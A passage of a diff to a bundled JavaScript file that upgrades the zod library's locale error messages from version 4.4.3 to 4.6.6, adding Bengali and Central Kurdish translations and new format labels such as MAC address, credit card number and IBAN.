"\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51634,12 +52628,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -51723,13 +52721,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51755,12 +52868,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -51828,17 +52945,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51864,12 +53115,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -51940,17 +53195,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51974,14 +53230,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -52056,17 +53316,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -52092,12 +53353,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -52165,12 +53430,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -52209,6 +53474,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -52275,12 +53543,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -52319,6 +53587,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -52327,12 +53598,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -52340,14 +53617,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -52378,6 +53655,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -52388,17 +53668,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -52424,12 +53705,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -52498,12 +53783,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -52534,12 +53819,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -52631,17 +53920,18 @@ var 